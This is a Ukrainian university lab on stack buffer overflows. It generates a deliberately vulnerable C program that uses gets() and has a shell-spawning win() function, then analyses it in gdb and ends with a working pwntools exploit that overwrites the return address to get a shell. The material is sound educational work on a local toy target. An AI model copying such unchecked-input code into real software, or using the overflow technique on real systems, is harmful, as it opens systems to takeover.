Лабораторна робота 1

Експлуатація пошкодження стеку

1.1 Мета роботи

Отримати навички пошуку та експлуатації вразливостей, що ведуть до пошкодження даних у стеку.

1.2 Постановка задачі

Дослідити вразливість переповнення буфера у стеку, що веде до перезапису локальних змінних функції та адреси повернення. Дослідити методи експлуатації на прикладі виклику довільної функції програми.

1.3 Порядок виконання роботи

Розглянемо класичний випадок переповнення буферу у стеку, що виникає при використанні функції без контролю розміру буферу над контрольованими зловмисником данними. В якості прикладу згенеруємо (gen.py) вихідний код застосунку наступного вигляду (target.c):

```
#!/usr/bin/env python3.6
import random
import string

def pad():
    for _ in range(random.randrange(0, 10)):
        r = ''.join(random.choices(string.ascii_lowercase, k=8))
        print(f'void {r}() {{ puts("Kitty says {r}!"); }}')

print('''// lab1 target.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
''')
pad()
print('void win() { execv("/bin/sh", 0); }')
pad()

len = random.randrange(5, 25)
print(f'''
```

```
int main() {{
    int pwd[{len}] = {{ 0 }};
    char buf[{len}] = {{ 0 }};

    gets(buf);
    if(pwd[0] != 1337)
        exit(1);
    else
        puts("ACCESS GRANTED!");
}}''')
```

і відповідно

```
$ ./gen.py | tee target.c
// lab1 target.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void fmmylxbg() { puts("Kitty says fmmylxbg!"); }
void mmrusarj() { puts("Kitty says mmrusarj!"); }
void ldwjeloc() { puts("Kitty says ldwjeloc!"); }
void tcayduna() { puts("Kitty says tcayduna!"); }
void kkgoirju() { puts("Kitty says kkgoirju!"); }
void snckoimj() { puts("Kitty says snckoimj!"); }
void yrhwkzhf() { puts("Kitty says yrhwkzhf!"); }
void win() { execv("/bin/sh", 0); }
void vklybiss() { puts("Kitty says vklybiss!"); }
void uwpnehtv() { puts("Kitty says uwpnehtv!"); }
void lgbfueda() { puts("Kitty says lgbfueda!"); }
void qzhxofcj() { puts("Kitty says qzhxofcj!"); }

int main() {
    int pwd[9] = { 0 };
    char buf[9] = { 0 };

    gets(buf);
    if(pwd[0] != 1337)
        exit(1);
    else
        puts("ACCESS GRANTED!");
}
```

При компіляції target.c вимкнемо механізми протидії експлуатації, що додаються компілятором за замовчуванням:

```
$ gcc -no-pie -fno-stack-protector target.c
$ checksec a.out
[*] 'lab1/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

де checksec – утиліта командного рядка з pwntools [8]. В даному випадку виконуваний код застосунку буде розміщуватися за статичною адресою (не position independent executable, незалежно від налаштувань ASLR у kernel.randomize_va_space) та не застосовується SSP (захист від перезапису адреси повернення у стеку). Ці механізми буде розглянуто окремо в наступних лабораторних роботах.

Для ідентифікації вразливості запустимо бінарний застосунок у налагоджувачі, встановимо точку зупинки на умові if та подамо на вхід рядок спеціального вигляду (з унікальним 4 байтним шаблоном символів, т.зв. послідовність де Брейна [9]):

```
$ gdb ./a.out
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
```

```
Reading symbols from ./a.out...
(No debugging symbols found in ./a.out)
gef>  start
gef>  disassemble main
Dump of assembler code for function main:
=> 0x00000000004012af <+0>:     endbr64
   0x00000000004012b3 <+4>:     push   rbp
   0x00000000004012b4 <+5>:     mov    rbp,rsp
   0x00000000004012b7 <+8>:     sub    rsp,0x40
   0x00000000004012bb <+12>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004012c3 <+20>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004012cb <+28>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004012d3 <+36>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004012db <+44>:    mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004012e2 <+51>:    mov    QWORD PTR [rbp-0x39],0x0
   0x00000000004012ea <+59>:    mov    BYTE PTR [rbp-0x31],0x0
   0x00000000004012ee <+63>:    lea    rax,[rbp-0x39]
   0x00000000004012f2 <+67>:    mov    rdi,rax
   0x00000000004012f5 <+70>:    mov    eax,0x0
   0x00000000004012fa <+75>:    call   0x401080 <gets@plt>
   0x00000000004012ff <+80>:    mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000401302 <+83>:    cmp    eax,0x539
   0x0000000000401307 <+88>:    je     0x401313 <main+100>
   0x0000000000401309 <+90>:    mov    edi,0x1
   0x000000000040130e <+95>:    call   0x401090 <exit@plt>
   0x0000000000401313 <+100>:   lea    rdi,[rip+0xdd9]        # 0x4020f3
   0x000000000040131a <+107>:   call   0x401070 <puts@plt>
   0x000000000040131f <+112>:   mov    eax,0x0
   0x0000000000401324 <+117>:   leave
   0x0000000000401325 <+118>:   ret
End of assembler dump.
gef>  br *0x0000000000401302
Breakpoint 1 at 0x401302
gef>  c
Continuing.
```

де gef – розширення gdb [10]. Згенеруємо послідовність де Брейна довжиною 100 символів за допомогою pwntools cyclic:

```
$ ipython3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.13.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: cyclic(100)
Out[2]: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa...'
```

Після вводу послідовності в застосунок, бачимо, що константа 1337 порівнюється зі значенням eax = 0x64616161:

```
Breakpoint 1, 0x0000000000401302 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------- registers ----
$rax   : 0x64616161
$rbx   : 0x0000000000401330  0x2192  <__libc_csu_init+0> endbr64
$rcx   : 0x00007ffff7f81980  0x2192  0x00000000fbad2288
$rdx   : 0x0
$rsp   : 0x00007fffffffddd0  0x2192  0x61007fffffffddf6
$rbp   : 0x00007fffffffde10  0x2192  "aaapaaaqaaaraaasaaataaauaaavaaa"
$rsi   : 0x00000000004052a1  0x2192  "aaabaaacaaadaaaeaaafaaagaaahaa[...]"
$rdi   : 0x00007ffff7f844d0  0x2192  0x0000000000000000
$rip   : 0x0000000000401302  0x2192  <main+83> cmp eax, 0x539
$r8    : 0x00007fffffffddd7  0x2192  "aaaabaaacaaadaaaeaaafaaagaaaha[...]"
$r9    : 0x0
$r10   : 0x00007ffff7f81be0  0x2192  0x00000000004056a0
$r11   : 0x246
$r12   : 0x00000000004010b0  0x2192  <_start+0> endbr64
$r13   : 0x00007fffffffdf00  0x2192  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow
     resume virtualx86 identification]
```

```
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
------------------------------------------------------------------ stack ----
0x00007fffffffddd0|+0x0000: 0x61007fffffffddf6   0x2190 $rsp
0x00007fffffffddd8|+0x0008: "aaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaa[...]"
0x00007fffffffdde0|+0x0010: "aaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaa[...]"
0x00007fffffffdde8|+0x0018: "aaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaa[...]"
0x00007fffffffddf0|+0x0020: "aaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaa[...]"
0x00007fffffffddf8|+0x0028: "aaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaa[...]"
0x00007fffffffde00|+0x0030: "aaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaa[...]"
0x00007fffffffde08|+0x0038: "aaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaa[...]"
------------------------------------------------------------ code:x86:64 ----
     0x4012f5 <main+70>        mov    eax, 0x0
     0x4012fa <main+75>        call   0x401080 <gets@plt>
     0x4012ff <main+80>        mov    eax, DWORD PTR [rbp-0x30]
->   0x401302 <main+83>        cmp    eax, 0x539
     0x401307 <main+88>        je     0x401313 <main+100>
     0x401309 <main+90>        mov    edi, 0x1
     0x40130e <main+95>        call   0x401090 <exit@plt>
     0x401313 <main+100>       lea    rdi, [rip+0xdd9]        # 0x4020f3
     0x40131a <main+107>       call   0x401070 <puts@plt>
---------------------------------------------------------------- threads ----
[#0] Id 1, Name: "a.out", stopped 0x401302 in main (), reason: BREAKPOINT
------------------------------------------------------------------ trace ----
[#0] 0x401302 0x2192 main()
---------------------------------------------------------------------------
```

таким чином, 4 байти за зміщенням 9 у вводі користувача перезаписують перший елемент масиву pwd, що забезпечує контроль над умовою if:

```
In [3]: cyclic_find(0x64616161)
Out[3]: 9
```

Змінимо значення регістру eax на необхідне, і продовжимо виконання:

```
gef>  set $eax=1337
gef>  c
Continuing.
ACCESS GRANTED!

Program received signal SIGSEGV, Segmentation fault.
$rip   : 0x0000000000401325  ->  <main+118> ret
0x00007fffffffde18|+0x0000: "aaaraaasaaataaauaaavaaawaaaxaaayaaa" <- $rsp
```

Виникає виключення при спробі повернення з функції main(), адреса у стеку “aaaraaas”. Таким чином адреса повернення перезаписується 8 байтами за зміщенням 65 у вводі користувача:

```
In [4]: cyclic_find("aaar")
Out[4]: 65
```

Для отримання доступу до командної оболонки достатньо перезаписати адресу повернення з main() вказівником на win():

```
gef>  print win
$1 = {<text variable, no debug info>} 0x401237 <win>
gef>  disas win
Dump of assembler code for function win:
   0x0000000000401237 <+0>:     endbr64
   0x000000000040123b <+4>:     push   rbp
   0x000000000040123c <+5>:     mov    rbp,rsp
   0x000000000040123f <+8>:     mov    esi,0x0
   0x0000000000401244 <+13>:    lea    rdi,[rip+0xe4c]        # 0x402097
   0x000000000040124b <+20>:    call   0x4010a0 <execv@plt>
   0x0000000000401250 <+25>:    nop
   0x0000000000401251 <+26>:    pop    rbp
   0x0000000000401252 <+27>:    ret
End of assembler dump.
```

Реалізуємо експлоїт (_pwn.py):

```
#!/usr/bin/env python3
from pwn import *
```

```
r = process("./a.out")

buf = b'A' * 9
buf += p32(1337)
buf = buf.ljust(65, b'B')
buf += p64(0x401237)

log.info("Payload")
print(hexdump(buf, width=12))

r.writeline(buf)
r.interactive()
```

У разі успіху отримуємо:

```
$ ./_pwn.py
[+] Starting local process './a.out': pid 2501328
[*] Payload
00000000  41 41 41 41  41 41 41 41  41 39 05 00  |AAAA|AAAA|A9..|
0000000c  00 42 42 42  42 42 42 42  42 42 42 42  |.BBB|BBBB|BBBB|
00000018  42 42 42 42  42 42 42 42  42 42 42 42  |BBBB|BBBB|BBBB|
*
0000003c  42 42 42 42  42 37 12 40  00 00 00 00  |BBBB|B7.@|....|
00000048  00                                    |.|
00000049
[*] Switching to interactive mode
ACCESS GRANTED!
$ cat /etc/issue
Ubuntu 20.04 LTS \n \l

$ ^D
```

1.4 Варіанти завдань

- Згенеруйте індивідуальний зразок для дослідження за допомогою gen.py з 1.3;
- Скомпілюйте зразок для ОС Linux архітектури за варіантом:
  1. i686 (Intel x86-based);
  2. amd64 (AMD64 & Intel 64);
  3. armhf (ARM with hardware FPU);
  4. arm64 (64bit ARM).
- Проаналізуйте вразливість та розробіть експлоїт (виконання команд ОС).

1.5 Контрольні питання

1. Чому в 1.3 виключення виникає до завантаження послідовності де Брейна у регістр RIP?
2. Чому адреса повернення заноситься у стек не зважаючи на символ завершення рядка у вводі користувача (нульовий байт за зміщенням 11 в експлоїті)?
3. Як знайти адреси функцій main() та win() у випадку відсутності символів (`strip -s a.out`)?